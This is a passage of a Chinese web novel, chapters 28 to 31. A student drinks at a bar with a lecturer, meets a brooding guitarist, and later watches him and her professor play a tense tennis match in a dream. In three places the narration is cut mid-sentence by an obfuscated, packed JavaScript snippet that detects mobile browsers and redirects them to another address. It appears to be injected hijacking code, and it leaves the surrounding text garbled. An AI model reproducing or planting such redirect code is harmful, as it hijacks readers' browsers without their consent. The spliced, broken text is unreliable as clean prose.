“宋老师?你心情很不好吗?”燕舒问。 要不面试下次再约? 这句话打断宋晴的出神,她慢慢看向燕舒,面上无波无澜,却又重重地叹了口气。 晚上七点,纪佳时坐在教室,又点开和燕舒的聊天界面,最新的消息是他晚饭时发的晚餐照片,但依旧没有得到回复。 同一时间,C大校园内,教师宿舍,莫沅帮着从厨房中端菜,然后又将碗筷摆放好,再将身上的围腰取下,招呼道:“可以吃饭了。” “老师,你们别忙了。”说着,拉开椅子坐下,从口袋中摸出手机。 【怎么样?】 这句话是给燕舒发的,时间是17点多,只不过现在已经快20点,她却仍未回复。 【你们去哪了?】 十分钟前,他发给宋晴的,也没得到回复。 夜色深沉,城市霓虹初上。经过今天一下午的商场购物,宋晴心情好多了,甚至还送了燕舒一条巴宝莉的围巾。将购物袋放进车箱,她又带着燕舒来到酒吧。 “酒精,麻痹人精神的药剂。” “你来过酒吧吗?” 进入酒吧,震耳欲聋的音乐声浪扑面而来。驻场乐队正在演奏一首爵士摇滚,电吉他的嘶鸣与鼓点交织,震得地板似乎都在微微晃动。各种声音冲击着她的耳膜,她只能凑近宋晴,大声回道:“来过几次,只不过不怎么喜欢。” “不喜欢什么?” “喝酒?” 燕舒摇头,“不是!” 酒吧里灯光昏暗,舞池里挤满了人,五颜六色射灯扫过人群,在烟雾缭绕的空气中划出迷幻的光轨。 “人太多了!” “人太多?” 两人穿过舞池,挤开人群,来到角落的一个卡座,深红的皮质沙发在灯光下泛着暗色调的光,燕舒坐下,发现正对面还有一个小舞台,台上有一个女歌手在唱歌,曲目是《Fly Me to the Moon》,一首经典的爵士乐,她沙哑的音调在喧嚣中格外动人。 “来杯教父,再开一瓶绝对伏特加,我要纯饮。”宋晴招呼酒保。 说完,她转头看向燕舒,问:“你要喝什么?我请你。” “一杯莫吉托。” 酒很快端来,宋晴端起她的教父,和燕舒碰杯,琥珀色的液体在灯光下泛着诱人的光泽,“小舒,谢谢你愿意陪我。” “没事的。”这话是真心的,燕舒是个真诚且耐心的倾听者。 宋晴今年四十二了,尽管经常被人夸赞年轻,但她到底不是从前那个因为一些小事就会被影响情绪的小孩子了,换句话说,就是经历岁月的洗礼,她对事情的容忍值域拔高了。比如,昨天才和丈夫因为离婚的财产分割问题产生争吵,在同一个屋檐下共处多年的人互相往死里戳对方的心,今天就能面色如常来参加周教授的生日聚会,直到下午对方再次来电才终于让她彻底爆发。 她重新请假,由半天变成完整的一天。 “其实,我们两个的婚姻早就是一潭死水,曾经的爱情在日复一日的生活中消磨,因为是丁克,所以没有孩子,到后面几年互相都有意识地躲着。” “两个没有爱的人在一起,连见面都觉得没意思。” “……” “我现在就是很后悔,早知道他这么不要脸,不遵守婚姻法,我当初就该早早出轨,其实我有过几段精神出轨,但每次都想着至少曾经爱过,如今还是夫妻,不应该,现在想,特别后悔……” 说到前面情绪还很平静,但到后面又爆了粗口,她有些不好意思地笑。喝完教父,宋晴又倒了杯伏特加,一饮而尽。 她凑近燕舒,晃了晃脑袋,抬手勾住燕舒的下巴,“没谈恋爱吧。” 燕舒摇头,她觉得宋老师似乎已经有些醉了。 “可以试试,不喜欢分了就行。”说完,宋晴放下酒杯,脱下大衣,朝燕舒递了个飞吻,转身向舞池走去。 燕舒也站起身,只不过,她和宋晴的方向相反,她走向身后的吧台,问:“你好,有没有充电宝。” 她手机没电已经关机了。 “有的。” 拿到充电宝,充了一会,燕舒开机,消息不多,她点开莫教授的头像,开始回消息,将今天下午的事说了。 【宋老师现在好像醉了又没醉。】 边打字,燕舒边思考等会该如何处理醉鬼,她和宋晴不熟,不知道她家的地址,所以来问莫沅。 对方快速回复:【你不用做什么,把地址发给我,我马上过来】 【还有,注意安全】 【我到了给你打电话】 好吧,既然有别人主动担起这件事,燕舒也没必要赶着上去。 【好的】 酒吧音乐声震耳欲聋,之前台上驻唱的乐队已经离场,现在是DJ在台上打碟,DJ台上的频闪灯疯狂闪烁,将整个舞池切割成碎片化的光影。燕舒坐在吧台,手上捧着莫吉托,认真地欣赏着这夜色下不同于外边道路的热烈景象。 她在舞池中看见了宋老师,高领毛衣、黑框眼镜,浓浓的知识分子风,此刻却摇晃着身体随着音乐跳动,有点怪,但怪得魅力十足。 看了一会,燕舒收回视线,眼神漫无目的地四处游离,摇晃手中酒杯,冰块碰撞发出清脆的声响。 突然,她愣住了。 因为,她看见了梦中的人,那个吉他手。 太有缘分了,昨天刚见过,不管在现实还是在梦里。可今天,又见到了。 他站在吧台的另一头,黑色皮夹克随意地搭在肩上,背着一把暗红色的电吉他,灯光扫过他的侧脸,勾勒出高挺的鼻梁和微微抿紧的唇。 他也正在看她。 燕舒心跳漏了一瞬,下意识举起手中酒杯喝了一口,借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127004|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着酒杯遮挡他的视线。 很危险的人物,在梦里能抬手用吉他把纪佳时砸晕。这样的人,虽然长得帅,声音勾人,唱歌有魅力,她在梦里很喜欢,但现实中她认为他脑子有病,精神不稳定。 要敬而远之。 酒杯放下,抬眼却看见,他正朝她走来。 他的气质很冰冷,一双眼睛亮得惊人,像是捕捉到猎物的动物,尽管努力忍耐,但欲望还是通过眼睛泄露了出来。两人离得越近,燕舒心中的危险警报声响越大。 燕舒以为是自己偶然一瞥看见了对方,所以对视上了眼神,可事实是,她在进入酒吧的第一时间就被台上人看在了眼里。 他默默观察着她,就像昨天站在阴影中看她一样。他觉得他们实在是有缘。 她的小男友呢?为什么不陪着她?出事了吗? 闹分手了?所以来酒吧喝酒? 思绪翻飞,他坐在吧台最远端,要了杯威士忌加冰,玻璃杯上凝结着水珠,在变幻的灯光下折射出迷离的光泽。 他拿起,冰凉的酒液顺着喉管进入身体,让他脑子清醒了几分,不知道用什么理由靠近,所以先不动声色地、静静地观察。 她坐在吧台,头顶的暖黄色射灯在她身上洒下一片柔和的光晕,舞池里的人在疯狂扭动,她却安静地坐着注视着这一切,神色很平静,也很疏离。 昨天是羞怯的,今天又是冷淡的。真奇怪。 看着看着,他入了迷,视线不再限于朦胧轮廓的描摹,而想要更详细的描绘。然后,她转过头,他们的目光在带着酒气的空中相遇。她目光讶异,眼睛微微瞪大。 她记得他。 他眉目温和起来。 “你刚刚看我。”男人走近,站在燕舒面前,他微微俯身,语气淡漠。 明明不是问句,但燕舒莫名听出一股质问的语气,或许是因为她想起了两个画面,一个是黑暗中对方俯视她的画面,另一个是梦境场景。她张嘴,喉咙发干,小声解释道:“不小心、” 不!她为什么要解释?连看一眼都不行吗? “抱歉?” 男人挑眉不解,“你道歉做什么?” “我们昨天见过。” 燕舒点头。 确实见过,她还对他印象深刻。 “一个人?”他的视线下移,看见她手中的酒杯,杯中酒液已经见底。 “你男朋友呢?” “我陪其他人来的。” “男朋友?” 对方问题太多了,有些太关心她的事了。而且,该怎么说呢?昨天晚上,和纪佳时的亲近,只是她的大胆试探。 男朋友?他不是。 “你叫什么?”燕舒身体前倾,稍稍靠近男人。 她在尝试掌握社交主动权。 “封秋扬。”他捏住她的手掌,指尖在她掌心勾勾画画,这是赤裸裸的勾引。 那一瞬,她肩膀轻轻颤了一下,然后又若无其事地坐直。 “昨天你身边那个男生不是你的男朋友?”写完,封秋扬问。目的太直白。 “你很关心?”燕舒不是个迟钝的人,但心底又有点觉得怪异和惊讶。 “是。”封秋扬是个能面对自己内心的诚实之人,他从怀疑、鄙视自己到坦荡只用了一天的时间。 燕舒和封秋扬对视,道:“不是。” 话落,刚好,燕舒的手机响了。 莫教授打来了电话。 应该是他人到了。 29. 第 29 章 接通电话,莫沅的声音从电话那头传来,他问:“燕舒,你们在哪?” 他应该是在往酒吧里面走,因为这句话说完,燕舒就听见电话那边也传来了喧闹声,DJ切换了一首更加劲爆的曲子,低重音几乎要把地板掀翻,舞池里爆发出喧嚣声,有人吹起了口哨。 燕舒从椅子上落地,眼神朝对面的男人示意,将手机贴近耳侧,另一只手掩在口前,提高音量,“莫教授,我在舞池对面的吧台。” 这通电话来得太及时。 她往前走了几步,举着手机,视线落到对面的人群中。 “我看见你了。”嘈杂的音乐声中,莫沅的声音从手机中传出。 燕舒视线快速移动,很快找到了在人群中快速移动的莫教授。他很高,穿着黑色大衣,明明融在了夜色的阴影之中,却又因微微冷肃的脸色在人群中格外显眼。 如果刚刚那个叫封秋扬的男人带给燕舒的是充满危机的森冷感,那么莫沅更多的是职业带给人的一种莫名严肃和认真。 他刚刚从外面进来,一身黑衣上带着冷意,还没靠近,就感觉到了夜晚的寒风。 燕舒朝他招手,挂断电话。 她完全忽略了身后的另一个男人,尽管他的目光一直凝聚在她身上,直到她和对面的人打招呼后他才将目光移到那人身上。 教授。 一个年轻的并且稍显俊朗的教授。 他们是什么关系? 他的手指在吧台冰凉的大理石上轻轻敲击。 那个抱着她亲的男生和她又是什么关系? 不是男友…… 莫沅穿过舞池,他气质脱俗,脸色严肃,皱着眉,在舞池中穿梭地异常容易。每一个看见他的人都知道他来这做什么。 找人。 “莫教授。”燕舒朝他走近。 “你喝了几杯?”随着两人靠近,莫沅闻到了燕舒身上的酒味。不过,酒吧里酒味烟味本身就重,可靠近燕舒,莫沅觉得自己的鼻子得到了解放,因为燕舒身上有一股淡淡的柠檬香。 “一杯。” “没醉吧。” 燕舒笑了。 “宋晴呢?”莫沅问。 他来这的目的就是帮燕舒处理这个似醉非醉的酒鬼。 “那里。”燕舒指向角落的卡座。 不知道什么时候,反正在燕舒接电话转身时,宋晴已经坐在了卡座上,只不过,座位旁边还坐着一个年轻的男生,两人距离不远也不近,没喝酒,似乎只是纯聊天。因为这个场景,所以燕舒选择先和莫沅碰头,而不是把宋晴扶起。 两人朝卡座走去,离近了,发现原来不是两人在聊天,而是宋晴拉住了男生的手,在说:“你知道吗?这杯酒的边际效用已经达到极值!再喝下去就要进入负效用区间了……” “呃……再给我倒一杯!” 燕舒走近,发现男生穿着黑白制服,是酒吧酒保。发觉有人走近,他抬头,朝两人露出了一个无奈的笑容,抬手安抚身旁的女士,“您的朋友来了。” “宋老师,你醉了吗?”燕舒站在宋晴面前。 “没醉。” “那就是醉了。” 莫沅扶着宋晴的胳膊,让她靠在他身上,她其实还没醉到不能走路的地步,只是脑袋里乱成浆糊了,一边走一边说着胡话。 “我在计算……论文、怎么写……” “经济学……是一门精确的科学……”她絮絮叨叨。 莫沅点头,扶着她穿过人流,“我知道,学姐。” “就像音乐……哆来咪发唆……” 莫沅是开车来的,但他并不准备开车载宋晴回她家,他的解决方法很简单,早在开车达到前就在酒吧附近找了家五星级酒店,预约办理了入住。酒吧的地点是在市区中心,现在虽然已经是晚上十点,但道路旁的商店仍然开着灯营业,燕舒站在路边接住莫沅丢给她的车钥匙。 “你先上车等我,别在外面站着。我开她的车把她送到酒店就回来找你,送你回学校。” “好。”燕舒点头。 莫沅转身,只不过他在看见那个站在燕舒身后的男人时,脚步一顿,皱了皱眉头。 他很早就注意到了这个人。 站在燕舒身后、眼神危险、走哪跟哪、纠缠不放的男人。 他们之间早就眼神交锋数次。 这次也是,他警告他不要靠近他的学生,他却靠在门框边,轻飘飘地略过他的视线,走近燕舒。 “我给你说了我的名字,你还没……” “燕舒!上车!注意安全。” 还没听完封秋扬的话,燕舒就立马向莫教授回道:“好。” 然后,她在两人的注视中上车,关上了车门。 莫沅再次冷视了封秋扬一眼,再彻底转身,他加快脚步,心里不知道在想什么,连身边宋晴说了什么也没听见。 而封秋扬走到车窗前,微微弯腰,修长的手指轻轻叩响车窗。 燕舒坐在副驾驶,侧头隔着车窗和外面的人对视。 或许是在车里隔绝了外界的原因,燕舒的心里多了几分安全感,她开始大胆打量车窗外的人,视线从他的眉毛扫到他露出的喉结。 “封秋扬。”她张嘴,尝试念他的名字,但没有发出声音。 车窗外,男人挑眉,然后用指尖点了点车窗玻璃,声音响脆。然后侧头,用手捂住耳朵,再移开。 他听不见。 燕舒降下车窗,夜晚的凉意从车外跑进车内。 “你要和我说什么?”她问。 不知道什么时候意识到,她其实是个踩钢丝游戏爱好者。明明已经感觉到了危险,但忍不住靠近。像对纪佳时一样,在得到对方的回应后就大胆试探。 胆子过于大了。 为什么呢? 可能是因为梦里,他虽然攻击力太强,但也很听她的话。 “问你的名字。” “燕舒。” 他伸出手掌,递给她。 燕舒呆愣了一瞬,然后勾起嘴角,没接。 “燕子的燕,舒畅的舒。” “燕舒。”他收回手掌。 “你还有其他要问的吗?”他的问题好多。 “刚刚那个人是谁?”封秋扬问。 “我教授。” “他们是夫妻吗?” 燕舒看着他的眼神不解,如果是夫妻,又怎么需要将醉酒的一方安置在酒店,而不是开车回家。只不过,想到他并不了解情况,这话似乎又没什么不对。只是猜测错了而已。 “我昨天梦见了你。”他眨了眨眼,语调上扬。 这话题转得很突然。 “梦?” 之前所有的交流,都没有这句话带给燕舒的震撼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127005|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大。在对方看不见的地方,她的手按住座位的软垫,身上汗毛竖起,心中小人在尖叫,但面上神色从容,问:“什么梦。” 语气平静得有些冷。 梦的秘密只有燕舒一个人知晓,除非她在梦里露馅,梦中人才会敏感地戳破梦境的面具,然后苏醒。但自从探索出这项规则后,燕舒就从没越过这条红线。 不应该…… 封秋扬的视线落在车内女生的唇上,微微凑近,低声道:“可能是昨天见过你,潜意识记住了你。你在我梦里唱歌……” 说完,他后退,脸上露出浅笑,“很奇怪是不是?” “所以,对你印象深刻。” “没有想到,今天又见面了。” 他确实梦见了她,只不过是他主动去梦的。晚上,他躺着床上,闭着眼睛,思绪飘忽,然后听见了她的声音,声音很小,但他听得很清楚。有些喘,声音喑哑。于是,画面出现了,梦里,黑暗中,他用手捂住她的嘴,她疑惑地抬眸。 梦,醒了。 莫沅回来了。 他走路很急,大衣的衣摆都扬了起来。 封秋扬瞥见,朝燕舒告别,嘴角微勾,“期待我们的下次见面。” 他没有向她要任何联系方式,因为他觉得他得先明白自己的想法到底是什么,真的喜欢吃这个糖吗?还只是舔了舔表皮,就产生了错觉。 今天的遇见,真的只是个意外。让他的错觉时间被延长了。 不过,只要他想,他们很快就能见面。 因为,他会寻找她。 两人擦肩而过,不过谁都没看谁,像是肩头落灰,看都没看就用手拍掉。 毫不在意。 莫沅打开车门,坐进车里。路灯在车窗上投下斑驳的光影,这光影也落在燕舒的侧脸。 他握住方向盘,问:“刚刚的人你认识?” 燕舒从封秋扬说的梦境中回神,摇头又点头,“昨天刚见过面,但不能算认识。” “我把你送回学校,大概半个小时,你看看时间够吗?” “够,谢谢莫教授。” C大宿舍管理并不严格,她那栋楼的宿管阿姨也特别好说话,如果迟了,提前在宿舍里说下就行。 当然,要撒一点小谎。 车里放着音乐,或许是酒的原因,也或许是今天太忙碌,燕舒累了,她的眼皮越来越重。 “困了就睡吧,到了叫你。”莫教授的声音似乎离她也遥远了。 燕舒点头,然后闭上了眼睛。 虽然睡了,但又睡得不沉,于是能感觉到车子在平稳地行驶,像是漂浮在夜色中。他调高了空调温度,音乐声停了,只剩下空调细微的嗡鸣。 “燕舒。” “燕舒。” “小舒同学,快醒醒。” “……” 燕舒被叫醒,她睁开眼,头还昏沉,有些茫然地和莫沅对视。 “到了,已经在你宿舍楼下了。” 燕舒动了动,身上的毛毯滑落,他接过,故作无奈地笑,“再累也不能在车上睡。” “总不能把你再载回我家……”声音渐小。 莫沅又想到今天宋晴的胡话,一些莫名的情绪升起,他收起笑容,望着她发懵的眼睛,再次重复:“燕舒同学,已经到了,你该下车了。” “很晚了,早点洗漱休息。” 30. 第 30 章 网球拍与球撞击的声音在空旷的场馆内回荡,宋晴一个漂亮的扣杀,荧光黄色网球擦着网带飞过,在对面场地上划出一道优美的弧线。 对面,燕舒面色异常严肃,她弯腰捡起滚到脚边的网球,握紧球拍,深呼吸,轻轻抛起,手腕一抖,球以极快的速度飞向宋晴。 看着对面人精神抖擞的模样,燕舒心中叹气,没人告诉她,在梦里也要运动啊。她现实中根本不会打网球,现在完全凭着身体的本能在打。她只会打羽毛球,并且只能称之为入门选手。 阳光透过网球馆高耸的玻璃穹顶洒落下来,在深蓝色的硬地球场上投下细碎的光影。燕舒站在底线后方,双手握拍,目光紧盯着对面的宋老师。虽然不会打,但真上场也接了几个来回,逐渐投入。 她听见自己的运动鞋与地面摩擦发出吱吱的声响,混合着网球撞击拍面的清脆声响在场馆内回荡。 她们所在的地方一座标准的室内网球馆,场地四周被高达十米的铁丝网围住,防止球飞出场外。场地两侧各有一排明亮的LED灯,即使在白天也全部开启,确保每个角落都光线充足。观众席位于二楼,此刻空无一人,红色的座椅整齐地排列着。 “42比13。”宋晴报分。 因为运动,她脸颊涨红,抬手抹了把额头的汗水,呼吸有些急促,心跳得很快,胸口随着呼吸剧烈起伏,每一次吸气都能感受到肺部扩张的轻微刺痛。 汗水顺着后背流下,浸湿了运动背心。她深吸一口气,感受着场馆内略带凉意的空气涌入肺部。空调系统正在运转,但激烈的运动还是让她出了一身汗。 对面,燕舒也不好受。 她扎着马尾,头绳绕了三圈,但随着每一次的跳跃,绑紧的马尾变得松垮垮,发梢因为汗水的原因,紧紧地黏在她那汗津津的脸上,汗珠顺着她的额头不断滚落。 又是一个来回,宋晴的球以极快的速度飞来,带着强烈的上旋,燕舒快速移动,但还是差了一点,球擦着拍框飞了出去,重重地砸在后面的挡网上。 燕舒叹了口气。 “今天就到这里吧。”对面,宋晴收起球拍,她的呼吸也很急促,但语气从容。 燕舒松了口气。 打网球真的太累了。 宋晴朝燕舒走来,眼中有疑惑,“你今天状态不行。” 燕舒放下球拍,点头。 两人走到场边的长椅旁,长椅后面是一排储物柜,漆成清新的浅绿色。 “擦下汗。”宋晴将毛巾递给燕舒。 “谢谢。”燕舒接过,她拿起毛巾擦了擦汗,毛巾质地有些粗糙,但使用起来也还行。 “谢什么?你怎么回事?突然客气。” “哈哈。” 当然是因为不熟。 这次,燕舒一入梦就握着球拍站在原地,而宋晴走在前面招呼她,疑惑她发什么呆。于是,只好被迫上场。 “你和莫沅还在冷战?”宋晴握着毛巾在燕舒身边坐下。 她今天邀请燕舒打网球,其实是找时间做劝和两人的说客。 冷战?不如说是燕舒单方面对莫沅的不理不睬。 “啊?”燕舒有些懵。 宋晴从包中拿出两瓶运动饮料,递给燕舒一瓶。 燕舒接过。 宋晴继续道:“说实话,你们两人的事,我是不想管。但奈何,他找到我了。” 燕舒没说话,只看着宋晴,拧开瓶盖,仰头喝了一口,然后问:“宋老师,你知道我和他为什么冷战吗?” 宋晴点头。 莫沅是她学弟,她了解他,太要强,事事都要争,总想当事业家庭双丰收的男强人。 但,怎么可能呢? 她结过婚,虽然离婚了,但也明白,两个人的在一起是要相互磨合,相互包容的,要互相为对方退让。所以,如果莫沅不肯舍弃事业专注做燕舒身后的贤夫良父,那么他们注定不会有一个好结局。 总之,不可能让燕舒放弃事业吧! 男人就是想太美。哪怕是她的学弟,也不能幸免,因为他是一个男人。 想到这里宋晴心底生出厌烦,她都不想再劝了,可又想了想,莫沅是很爱燕舒的,如果可以,她是乐于看见她们在一起的。 祈愿爱让他醒悟,而不是陷于一些异想天开的幻梦。 “确实,他有点既要又要,想要和你步入一个家庭,又想要事业高升,哪有那么圆满。” 燕舒眨了眨眼,坐了一会,身上的汗液已经蒸发,室内冷气充足,她感到十分舒服。 “其实,不止这个原因。”燕舒依旧面无表情,只是她轻蹙的眉显出她的坏心情。 宋晴心往下沉。 情况真是难办。 其实,在宋晴看来,莫沅并不是被大多数女人喜欢的男人,虽然他很优秀、有出众的外表,但他太过倨傲、难以接近,虽然这份倨傲和清高没过分地显露出来,但是一接近,还是能察觉出。 他有点太傲、太自以为是了。他以为他是谁? 作为一个女人,宋晴只能给他打及格分,这还是看在两人友情的份上。 燕舒能选择他,让他成为她的男朋友,而不是被人打上“剩男”的标签,他应该感激她。 “呃,我能理解,但是……”宋晴想夸一夸莫沅,可她竟然卡壳了。 因为,无论怎么说,莫沅作为一个男人,他的表现都是十分差劲的。他的优秀并不能否定他在做男人上的失败。 “唉。”宋晴叹气。 她看向燕舒,决定不再说些违心的话。 “燕舒,作为女人,我也理解你。我们成家为的就是一个可以站在我们身后给我们提供帮助的男人,莫沅有点不太适合。” “但是,他能改!” “男人,需要调教。” 只要你下班不提前回家,而是去玩、去放松,然后再假装疲惫地回家,那样就能免去家务,他看见你工作的忙碌与劳累,就会主动承担起家务。之后,随着家庭与工作之间产生了不可调和的矛盾,哪怕再纠结,他最终都会放弃工作,回归家庭。 调教,就完成了。 剩下的不过是些小问题。 “他占有欲、掌控欲也很强。” “但是……” 宋晴凑近燕舒,贴近她的耳朵。 “他爱你。” “只要你不把一些事挑明,他都会当做看不见的。” 燕舒的手被握住,宋晴压低声音,“燕舒,我会帮你遮掩。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127006|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 女人要互帮互助。 “我和他多年友谊了,我帮你遮掩,他不会有察觉的。” 燕舒看着和她贴近的宋晴宋老师,先是眼角微微上扬,再是嘴角的弧度不受控制地勾起,她也握住宋晴的手,认真道:“谢谢你,宋老师。” “你的这个建议我会考虑的。” “我能问你个问题吗?” “什么问题?”宋晴总觉得今天的燕舒怪怪的。 怪礼貌。 “既然你是来劝和我和莫教授的,那莫教授人呢?” “他是在外面吗?” 主要人物总要出场的,不管什么理由。哪怕是从天上掉下来。 当然,这样就是个奇幻故事了,有些不符合梦境的正常逻辑。 “是的,他在外面,想等我和你聊了之后再喊他进来。” “他很想见你和你说话。” “那你把他喊进来吧。”和宋老师还是太陌生了,燕舒急需见到一个熟悉的人,重新进入掌控梦境的感觉。 宋晴起身走到放手机的座位,把手机拿起,拨通电话。 燕舒听见,电话铃声就在门外响起。 “我和燕舒聊了,你进来吧。”宋晴轻声道。 她有些心虚,因为她刚刚对燕舒说的话。 不过很快她就释然,因为她觉得那样有错,她是为了莫沅好。 男人太小心眼,莫沅尤其善妒,他要是真知道,怕是会闹翻天,那样他和燕舒的关系就真结束了。 唉,她还得劝劝他。 电话挂断,网球馆的门被推开,宋晴看见了莫沅。他拿着手机,站在门口。只不过,门口并不只有他一个人,还站在另一个男人。 空气仿佛在一瞬间凝固了。 宋晴转头看向身旁的燕舒,燕舒疑惑,似乎是在问:是你让他来的? 这个‘他’不是指莫沅。 燕舒没有回应宋老师的疑惑,她看着门口站着的封秋扬,也很疑惑。 他又出现在她的梦境中了。 这代表什么,似乎不言而喻。 燕舒的视线又移到莫沅身上,他也站在门口,他目光紧锁在她的身上,双脚却又像是被钉在地上,想靠近却又因莫名的怯懦而踌躇不前。 很新鲜的莫教授。 他也会有惴惴不安的模样。 但当他的视线扫到前面迈步闲庭散步般走入网球馆,准备靠近燕舒的封秋扬,瞬间,眼中的愤怒再次迸发,他眉头紧紧拧成一个“川”字,牙关咬紧,腮帮子微微鼓起,脸上的肌肉因愤怒而微微抽搐,身上的气场也陡然变得极具攻击性。 他也快步朝馆内两人走去,步伐很急,想走在封秋扬前面。 他也确实走到封秋扬前面,微微侧身挡住封秋扬上前的路,随后缓缓转身,直直盯着对方,眼神审视,“没人叫你来。” 不管封秋扬是不是燕舒叫来的,莫沅现在都想让他滚开,消失在自己眼前。 莫教授真的有些霸道,这份霸道现实中被藏在了温和和幽默之下。 燕舒歪了歪头。 “我来这里,不需要通知你。”封秋扬语调平淡。 他歪了歪上半身,看向被莫沅挡住的燕舒,露出笑容。 31. 第 31 章 宋晴曾在手机上刷到过这样一个视频: 热带雨林的深处,两只极乐鸟站在树枝上为争夺一只雌鸟的青睐而抖动着他们华丽的尾羽,在阳光下折射出宝石般的发光芒。一只极乐鸟展开它那如孔雀开屏般的尾羽,每一根羽毛都闪烁着金属般的光泽;但另一只也不甘示弱,它跳起复杂的求偶舞,羽毛在阳光下熠熠生辉。 而雌鸟则静静站在枝头,黑曜石般的眼睛注视着这场表演。它时而看向左边,时而转向右边,似乎在权衡着两位追求者的优劣。 于是,两只雄鸟的竞争愈发激烈,它们开始用喙互相啄击,展开了一场力量与技巧的较量。 此刻,她将目光投向前方、站在球场两端的两个男人,一个是他学弟,另一个虽然不熟,但也不算陌生人。 对于这样的两个男人为一个女人对上而决斗的场面,宋晴也并不陌生。只不过,今天的二分之一中有她的学弟,虽然她对他打分很低,但到底有着多多年情谊,她心底还是偏向他的,所以她准备探一探燕舒的口风。 她侧头转向燕舒,双手做着一些运动,不经意开口,“你觉得谁会赢?” 谁会赢? 燕舒不知道。 一出场,两个男人就在她面前语言交锋,一个说是她的现任男友,另一个说冷战三天自动结束关系,她单身,所以他追求,反问对方是不是管得太宽。 然后,两人都望向她。 燕舒怎么解决? 她视线扫过两人,神情冷淡。 莫沅嚣张愤怒的气焰立刻熄灭,他和宋晴对视,宋晴耸耸肩,表情勉强。 他明白了,她还在生气,她还不想理他。 对面,封秋扬想的却是:晦气。 今天燕舒心情不好,都因为另一个晦气男人的到来。 他被牵连了。 总之,现场气氛陷入了沉寂。 但所幸,莫沅有援手在场,开口打破空气中的尴尬。几人勉强有一搭没一搭的聊,然后两个男人语言再次起了机锋,发起了挑战的邀约。 “宋老师你觉得呢?”燕舒反问。 宋晴将手里的饮料瓶丢进一旁的垃圾桶,回答:“其实谁赢都无所谓。又没设置什么奖品。” 毕竟两人只是似笑非笑地对对方说:“来一局?” 再说,她肯定偏心自己的学弟,这话都不需要再问。 试探失败。 不过,有点时候,没有回答问题其实就是已经给了答案。 比如:“你爱不爱我?” “你猜。” 至少,宋晴明白,在燕舒心里,此刻,莫沅和封秋扬都没差距。 网球馆头顶是玻璃穹顶,炽热的阳光可以透过玻璃照入室内。空调的冷气与场内的热浪交织,封秋扬站在球场左侧,远处坐着燕舒,她似乎在看他,又似乎只是无聊地扫过他。他抬头看了眼穹顶,刺目的阳光让他微微眯起眼。 燕舒因为那个男人心情不好。想到这,封秋扬也心情不好起来。 其实燕舒心情没有不好,只不过她装出了三分,剩下的则是剧烈运动后产生的疲惫和思想反攻。就像跑完八百米后,没有任何人惹她生气,她也不想说话,只想喝水然后回宿舍床上躺着。 只不过,梦境里她不能躺,只能坐。 面无表情地坐。 “她其实不想看见你。”阳光太刺眼,封秋扬缓缓低头看向对面的男人,声音中的挑衅意味浓重。 莫沅握着球拍的手紧了紧,面无表情的脸上嘴角僵硬上扬,“如果她真的不愿意见我,她就不会来这里。” 她们之间只是冷战,并且是她暂时不想理他而已,还没分手。如果一个人真心想和另一个人断绝联系,那么两人之间的中间人都会受到牵连。 但燕舒答应了宋晴的邀约,在明知他会拜托他学姐帮忙的情况下。 “至于你……”莫沅抬手,将球拍直指对面,“你算个什么东西,对我说这些话?一个偷窥者,觊觎着她的……老鼠。” “一个小偷。” “砰!”封秋扬发球。 黄色小球划过半空,莫沅迅速移动,他的动作干净利落,没有一丝多余。球拍与球想接触的瞬间,他感受到一股强劲的力道。这记发球就像封秋扬这个人一样,充满攻击性。但他稳稳地将球回了过去。 在回球的间隙,他忍不住看向场边。 燕舒和他对视,两人的目光在空中交汇。只不过,这只是短暂的一瞬,因为,封秋扬的回击来了。 莫沅再次回击,将球回击到对方底线,封秋扬却早已等待在落点,他的动作优雅得像一只猎豹,每一个步伐都精准而从容。 封秋扬挥动球拍,嗤笑,反问:“你是把她当做物品了吗?” “小偷?” “更何况,世上有句话,叫命里有时终须有,命里无时莫强求。她一个活生生的人,我怎么偷?莫教授,该放手时就要学会放手啊。” “当断不断,反受其乱!” 场外,看着场内两个男人打得有来有回,宋晴逐渐沉浸观看。莫沅是他学弟,也是好朋友,虽然他打不过她,但实力还是被认可的,但是没想到对打的另一方竟然也是个高手。 “漂亮!”她喊道。 两人的对决太精彩了,甚至在宋晴看来,两个人都有一种“超常发挥”的感觉,封秋扬的进攻像狂风暴雨,每一拍都带着要将对手击垮的气势,但莫沅的防守则像铜墙铁壁,总能化解。 燕舒也看得认真,她刚刚和宋晴打过,自然懂两人打得是多么艰难又漂亮,动作行云流水,但最出彩的是双方的战术意识和对对手的预判,每一次击球都带着明确的目的性,不是在调动对手就是在为下一拍创造机会。 比赛进入白热化阶段,两人体力都开始下滑了,但技术水平没有丝毫下滑。 